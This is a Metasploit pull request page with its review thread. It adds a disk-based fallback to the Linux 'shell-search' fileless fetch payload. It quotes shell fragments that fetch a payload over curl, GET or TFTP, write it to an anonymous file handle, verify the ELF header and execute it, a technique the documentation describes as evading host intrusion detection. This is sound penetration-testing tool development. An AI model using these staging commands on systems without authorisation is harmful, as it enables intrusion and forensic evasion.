Skip to content

Adds fail-safe for search fileless fetch payloads and updates the docs accordingly - #21548

Open
msutovsky-r7 wants to merge 14 commits into
rapid7:masterfrom
msutovsky-r7:feat/payloads/fetch_payload_failsafe
Open

Adds fail-safe for search fileless fetch payloads and updates the docs accordingly#21548
msutovsky-r7 wants to merge 14 commits into
rapid7:masterfrom
msutovsky-r7:feat/payloads/fetch_payload_failsafe

Conversation

@msutovsky-r7

@msutovsky-r7 msutovsky-r7 commented Jun 7, 2026

Copy link
Copy Markdown
Contributor

The shell-search variant of fileless fetch payloads has been proved to be not fully reliable across all systems as there are systems (dockers, fresh systems with low resources, access as very low-privileged user,..) where the anonymous file handles either don't exist or existing user does not have permission to write the payload into them. This PR mentions this in fetch payload documentation and adds fail-safe mechanism, which defaults to standard fetch payload if no available file handle is found.

@msutovsky-r7 msutovsky-r7 changed the title WIP: adds fail-safe for search fileless fetch payloads and updates the docs accordingly Adds fail-safe for search fileless fetch payloads and updates the docs accordingly Jun 10, 2026
@msutovsky-r7
msutovsky-r7 marked this pull request as ready for review June 10, 2026 14:14
@dwelch-r7 dwelch-r7 added the rn-fix release notes fix label Jun 10, 2026
cmd << '; then $f'
cmd << '; FOUND=1'
cmd << '; break'
cmd << '; exit 1'

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

what's the reason for this change here?

Copy link
Copy Markdown
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

When the shell-search fails, it should exit the loop and execute the fail-safe fetch command. If there would be only break and shell-search would succeed, it would execute fail-safe regardless. To avoid too much of additional code, the shell-search exits when executed.

@bwatters-r7 bwatters-r7 self-assigned this Jul 27, 2026
@bwatters-r7 bwatters-r7 moved this from Todo to Ready in Metasploit Kanban Jul 27, 2026
@bwatters-r7

Copy link
Copy Markdown
Contributor

@msutovsky-r7 any chance you could give this a quick rebase?

@msutovsky-r7
msutovsky-r7 force-pushed the feat/payloads/fetch_payload_failsafe branch from 34f03bd to d421344 Compare July 27, 2026 15:54
@bwatters-r7 bwatters-r7 moved this from Ready to In Progress in Metasploit Kanban Jul 27, 2026
@bwatters-r7
bwatters-r7 requested a review from Copilot July 29, 2026 16:44

Copilot AI left a comment

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Pull request overview

This PR aims to improve reliability of Linux FETCH_FILELESS=shell-search by adding a fallback to the standard (disk) fetch path when no suitable anonymous file handle can be found, and updates the fetch payload documentation to describe the behavior.

Changes:

  • Updates shell-search execution flow to support a fallback to a standard fetch destination when fileless handle discovery fails.
  • Adjusts fileless shellcode jump-instruction generation to avoid rev by using an awk-based reversal pipeline.
  • Expands fetch-payload documentation to note shell-search reliability limitations and the new fail-safe.

Impact Analysis:

  • Blast radius: high — affects POSIX fetch command generation for payload adapters (all Linux fetch payload users who enable FETCH_FILELESS=shell-search); downstream consumers Unknown.
  • Data and contract effects: no schema/contract changes identified from diff; behavior change in generated command strings may alter on-target artifacts (memory vs disk) depending on fallback path.
  • Rollback and test focus: rollback is straightforward (revert command-generation changes); focus testing on FETCH_FILELESS=shell-search where (1) an anonymous handle is found (must not fall back) and (2) no handle is found (must fall back and still execute), across curl/wget variants at minimum.

Reviewed changes

Copilot reviewed 3 out of 3 changed files in this pull request and generated 3 comments.

File Description
lib/msf/core/payload/adapter/fetch/fileless.rb Updates shell-search script generation and replaces rev usage in jump-instruction generation.
lib/msf/core/payload/adapter/fetch.rb Implements the shell-search fail-safe fallback behavior in POSIX execution flow and adds a failsafe-aware destination helper.
docs/metasploit-framework.wiki/How-to-use-fetch-payloads.md Documents the shell-search limitations and the intended fail-safe behavior.

Comment on lines +326 to +331
cmd << '; then $f'
cmd << '; FOUND=1'
cmd << '; break'
cmd << '; exit 1'

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

@msutovsky-r7 if I understand this, it should be exit 0 because we hit that if we succeed and get the fetch_fileless execution? We replaced break because break would have caused the fallback execution, right? That means we only hit that if we succeed, so exit 0 is correct?

Copy link
Copy Markdown
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Technically, yes - although the Copilot is little bit off here if I understand it correctly. But yes, exit 0 is more correct. Will fix it now

Comment on lines +346 to +352
if datastore['FETCH_FILELESS'] == 'shell-search'
cmds = _generate_fileless_bash_search(get_file_cmd)
cmds << "f=#{_remote_destination_nix(true)};"
cmds << get_file_cmd
else
cmds = get_file_cmd
end

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I might be wrong, but I think this could be an issue since the logic relies solely on exit 0 in _generate_fileless_bash_search to prevent the fallback from firing. If the script is run in a subshell or wrapper (e.g., $(...)), execution might fall through. Adding a guard based on $FOUND could be a good idea. If I understand correctly, that variable is currently set but never checked.

Comment on lines +101 to +105
This option is only available when the platform is Linux. It should be noted that when using `shell-search`, the fetch command
searches for anonymous file handle it can write to and in some restricted systems or with low-privileged user, it might not find
a file handle it can write to. For that reason, the `shell-search` fetch command contains a fail-safe mechanism, which adds
a standard fetch command as backup. This means that if `shell-search` fetch command cannot find a suitable anonymous
file handle, it execute standard fetch command that downloads the adapted payload.

@bwatters-r7 bwatters-r7 left a comment

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Looks like we missed the TFTP codepath for the additions?

# jmp rax
when 'x64'
%^"48b8"$(echo $(printf %016x $vdso_addr) | rev | sed -E 's/(.)(.)/\\2\\1/g')"ffe0"^
%^"48b8"$(echo $(printf %016x $vdso_addr) | awk -vFS= '{do printf $(NF);while(--NF>0);print ""}' | sed -E 's/(.)(.)/\\2\\1/g')"ffe0"^

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

vFS= is not supported by strict POSIX awk and will return unaltered data rather than erroring.

Would dropping awk and using POSIX expansion be an option?
$(v=$(printf %016x $vdso_addr); o=; while [ -n "$v" ]; do o=$o${v#"${v%??}"}; v=${v%??}; done; echo "$o")

@@ -328,12 +329,13 @@ def _generate_fileless_bash_search(get_file_cmd)
cmd << "; then if $(#{get_file_cmd} >/dev/null)"

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

After a lot of testing, I discovered that there is an annoying bug (or feature?) in GET where the GET command will return success even when it fails; this shell script then assumed success and continued on until it tried to execute the file that did not actually exist. It did not go well.
I think I have found a way around this by checking to make sure that after the write we have an elf where we expect one to be before we launch it, but getting the syntax right to work across arches and Linux releases is taking some time. Just because something is POSIX does not appear to matter to some releases 😆 . Likewise, just because something is not POSIX does not appear to matter. The below suggestion is not technically POSIX, but still works where what I thought was a POSIX solution fails.
I need to do some more testing and just accepting this change will likely break some spec tests, so I will do more in-depth testing tomorrow, fix the spec tests, and then put up a PR to this PR.
This might work, but I will test more tomorrow:

cmd << "; then if #{get_file_cmd} >/dev/null && [ \"$(head -c4 $f)\" = \"$(printf '\\177ELF')\" ]"

@bwatters-r7

Copy link
Copy Markdown
Contributor

Per previous discussion, I moved to
cmd << "then if #{get_file_cmd} >/dev/null && [ \"$(dd if=$f bs=1 count=4 2>/dev/null)\" = \"$(printf '\\177ELF')\" ];"

dd is posix and seems to be well supported by the odd distros. Let the AI loose to test:

Full architecture coverage summary

Target Architecture Environment Result
x64 Ubuntu VM x64 Full GNU toolset 16/16
GL-AR300M router mipsbe Minimal busybox, no od 4/4
EdgeRouter (.224) mips64 (BE) EdgeOS, curl-only 2/2
EdgeRouter (.221) mipsle EdgeOS, curl-only 2/2
Kali Pi (.214) aarch64 Full toolset 7/7

33/33 across five real architectures/targets, with the dd-based POSIX-compliant fix holding up everywhere — including two genuinely distinct MIPS endianness cases and one architecture (mips64) that only has an inline (non-stager) payload form in the framework. One correction made along the way: FETCH_COMMAND=TFTP can't be paired with an HTTP-protocol payload (the tftp client hardcodes port 69 regardless of protocol), so both EdgeOS scripts were narrowed to CURL-only, which is what's actually valid and available there.

I'll finish this up and submit a PR.

@bwatters-r7

Copy link
Copy Markdown
Contributor

msutovsky-r7#4

Copilot AI left a comment

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Pull request overview

Copilot reviewed 5 out of 5 changed files in this pull request and generated 1 comment.

Suppressed comments (2)

docs/metasploit-framework.wiki/How-to-use-fetch-payloads.md:105

  • Suggestion: Problem: the new documentation uses informal/unclear phrasing (e.g., “dockers”, “low-privileged user”), which is ambiguous and reads like a typo. Impact: readers may misunderstand the environments where shell-search fails and when the fallback triggers. Fix: rephrase with more standard terminology (containers/unprivileged user) while keeping the same meaning.
This option is only available when the platform is Linux. It should be noted that when using `shell-search`, the fetch command
searches for an anonymous file handle it can write to, and on some restricted systems or with a low-privileged user, it might not find
a file handle it can write to. For that reason, the `shell-search` fetch command contains a fail-safe mechanism, which adds
a standard fetch command as backup. This means that if the `shell-search` fetch command cannot find a suitable anonymous
file handle, it executes the standard fetch command that downloads the adapted payload.

lib/msf/core/payload/adapter/fetch/fileless.rb:331

  • Critical: Problem: the fileless bash-search path uses exit 1 after successfully executing the payload, which reports failure to the caller even though exploitation succeeded. Impact: modules/wrappers that rely on the remote command’s exit status may treat a successful run as an error and/or trigger unintended fallback logic outside this script. Fix: exit with status 0 on success (and update the associated spec expectation).
    cmd << '; exit 1'

Comment on lines +78 to +79
expect(cmd).to include('; exit 1')
expect(cmd).not_to include('; break')
Comment on lines +346 to +352
if datastore['FETCH_FILELESS'] == 'shell-search'
cmds = _generate_fileless_bash_search(get_file_cmd)
cmds << "f=#{_remote_destination_nix(true)};"
cmds << get_file_cmd
else
cmds = get_file_cmd
end

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I might be wrong, but I think this could be an issue since the logic relies solely on exit 0 in _generate_fileless_bash_search to prevent the fallback from firing. If the script is run in a subshell or wrapper (e.g., $(...)), execution might fall through. Adding a guard based on $FOUND could be a good idea. If I understand correctly, that variable is currently set but never checked.

cmds = get_file_cmd
end

cmds << ";chmod +x #{_remote_destination_nix}"

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

If I understand this correctly, when FETCH_FILELESS != 'none', _remote_destination_nix returns the literal string $f. So, if the anonymous file handle is found, this is dead code since exit 0 has already been executed. I might be wrong though.

Copy link
Copy Markdown
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Yeah, that's the idea to have a backup code when anonymous file handle is not found. There's no way to know whether we can find file handle ahead or not and this is kinda like if/else because the shell exists only if anonymous handle is found. I thought this might be better than patching more code and adding more code rather then adding if [ $FOUND -eq 0 ]. But I can use add if/else if it's better.

Comment thread lib/msf/core/payload/adapter/fetch.rb Outdated
get_file_cmd = "(echo binary ; echo get #{uri} $f ) | tftp #{srvhost}"
return _generate_fileless_shell(get_file_cmd, module_info['AdaptedArch']) if datastore['FETCH_FILELESS'] == 'shell'
return _generate_fileless_bash_search(get_file_cmd) if datastore['FETCH_FILELESS'] == 'shell-search'
return "#{_generate_fileless_bash_search(get_file_cmd)} #{tftp_fetch_and_exec}" if datastore['FETCH_FILELESS'] == 'shell-search'

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Similarly to my previous comment, maybe this would also require a guard based on $FOUND instead of only relying on exit 0?

def _remote_destination_nix
return @remote_destination_nix unless @remote_destination_nix.nil?
def _remote_destination_nix(failsafe: false)
return @remote_destination_nix unless @remote_destination_nix.nil? || failsafe == true

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Not a blocker:

Suggested change
return @remote_destination_nix unless @remote_destination_nix.nil? || failsafe == true
return @remote_destination_nix unless @remote_destination_nix.nil? || failsafe

Same below.

@@ -98,7 +98,11 @@ served payload is the same.
`FETCH_FILELESS` is an option that specifies a method to modify the fetch command to download the binary payload to
memory rather than disk before execution, thus avoiding some HIDS and making forensics harder. Currently, there are
two options: `shell`, `shell-search` and `python3.8+`. All of these require the target to be running Linux Kernel 3.17 or above.

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Suggested change
two options: `shell`, `shell-search` and `python3.8+`. All of these require the target to be running Linux Kernel 3.17 or above.
three options: `shell`, `shell-search` and `python3.8+`. All of these require the target to be running Linux Kernel 3.17 or above.

@bwatters-r7

Copy link
Copy Markdown
Contributor

Also, I bet the CI failures are because the Spec tests expected the exit value from before, so that will also need changes.

Comment on lines 329 to 330
cmd << '; then $f'
cmd << '; FOUND=1'

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Suggested change
cmd << '; then $f'
cmd << '; FOUND=1'
cmd << '; then $f &'
cmd << ' FOUND=1'

Without backgrounding this, the payload execution blocks the search?

Copy link
Copy Markdown
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

True; fair point thanks!

@eipoverflow
eipoverflow force-pushed the feat/payloads/fetch_payload_failsafe branch from 6994949 to 912391b Compare August 17, 2026 05:27
Comment thread lib/msf/core/payload/adapter/fetch/fileless.rb Outdated
eipoverflow and others added 3 commits August 18, 2026 12:13
- Restore `; exit 0` (not `; break`) in the shell-search match branch of
  _generate_fileless_bash_search, so a hit terminates the whole script
  instead of only the inner search loop. Matches the PR's own regression
  spec and the original author's intent, reverted by a later "forgot to
  break" commit.

- Wrap get_file_cmd in a subshell before appending the noise-suppressing
  `>/dev/null` in both _generate_fileless_shell and
  _generate_fileless_bash_search, so a redirect get_file_cmd already embeds
  itself (e.g. the plain GET-based `...>$f`) keeps priority over the
  outer redirect instead of being silently clobbered.

- Factor the duplicated hex byte-swap shell fragment (7 call sites across
  _generate_jmp_instruction) into a single _hex_byte_swap_shell(width)
  helper, and fix an odd-length hang: when $vdso_addr needs more digits
  than the padded width, the old ${v%??} trim loop never terminated on
  the final single leftover character.

- Have the TFTP fail-safe fallback (tftp_fetch_and_exec) honor
  FETCH_DELETE like the generic _execute_nix path already does, with a
  trailing `;` since it's concatenated in front of a closing ` fi`.

- Drop a redundant `if datastore['FETCH_DELETE']` modifier nested inside
  its own enclosing `if datastore['FETCH_DELETE']`.

Verified via rspec (37 examples, 0 failures) and against real hardware
across all affected architectures (x64, x86, aarch64, armle, mipsle,
riscv64le), including forcing an actual shell-search match (not just the
disk-fallback path) and a real TFTP + FETCH_DELETE round trip.

Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01CzVszngwHjJmwTq5sviTHJ
@bwatters-r7

Copy link
Copy Markdown
Contributor

One more time....
msutovsky-r7#5
Fixes CI tests and a few other bugs that crept in.

Fix fail-safe fileless fetch review findings from PR rapid7#21548
@bwatters-r7

Copy link
Copy Markdown
Contributor

@cdelafuente-r7 could you check this over one more time?

@bwatters-r7 bwatters-r7 moved this from In Progress to What about Second Review? in Metasploit Kanban Aug 24, 2026
cmds = get_file_cmd
if datastore['FETCH_FILELESS'] == 'shell-search'
cmds = _generate_fileless_bash_search(get_file_cmd)
cmds << "if [ $FOUND -eq 0 ]"

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Make rubocop happy :)

Suggested change
cmds << "if [ $FOUND -eq 0 ]"
cmds << 'if [ $FOUND -eq 0 ]'

if datastore['FETCH_DELETE']
cmds << "sleep #{rand(3..7)};rm -rf #{_remote_destination_nix}; fi"
else
cmds << "fi"

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Suggested change
cmds << "fi"
cmds << 'fi'

get_file_cmd = "(echo binary ; echo get #{uri} $f ) | tftp #{srvhost}"
return _generate_fileless_shell(get_file_cmd, module_info['AdaptedArch']) if datastore['FETCH_FILELESS'] == 'shell'
return _generate_fileless_bash_search(get_file_cmd) if datastore['FETCH_FILELESS'] == 'shell-search'
return %<#{_generate_fileless_bash_search(get_file_cmd)} if [ $FOUND -eq 0 ]; then #{tftp_fetch_and_exec} fi> if datastore['FETCH_FILELESS'] == 'shell-search'

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Same, rubocop happiness:

Suggested change
return %<#{_generate_fileless_bash_search(get_file_cmd)} if [ $FOUND -eq 0 ]; then #{tftp_fetch_and_exec} fi> if datastore['FETCH_FILELESS'] == 'shell-search'
return %(#{_generate_fileless_bash_search(get_file_cmd)} if [ $FOUND -eq 0 ]; then #{tftp_fetch_and_exec} fi) if datastore['FETCH_FILELESS'] == 'shell-search'

@@ -515,10 +536,10 @@ def _remote_destination
# Returns or memoizes the remote payload destination for POSIX targets.
#

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Please, could add the YARD doc for the new failsafe argument?

@bwatters-r7 bwatters-r7 moved this from What about Second Review? to Waiting on Contributor in Metasploit Kanban Aug 24, 2026
@bwatters-r7

bwatters-r7 commented Aug 24, 2026

Copy link
Copy Markdown
Contributor

Also looks like a rebase is in order, and we might as well squash the commits.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

bug payload rn-fix release notes fix

Projects

Status: Waiting on Contributor

Development

Successfully merging this pull request may close these issues.

6 participants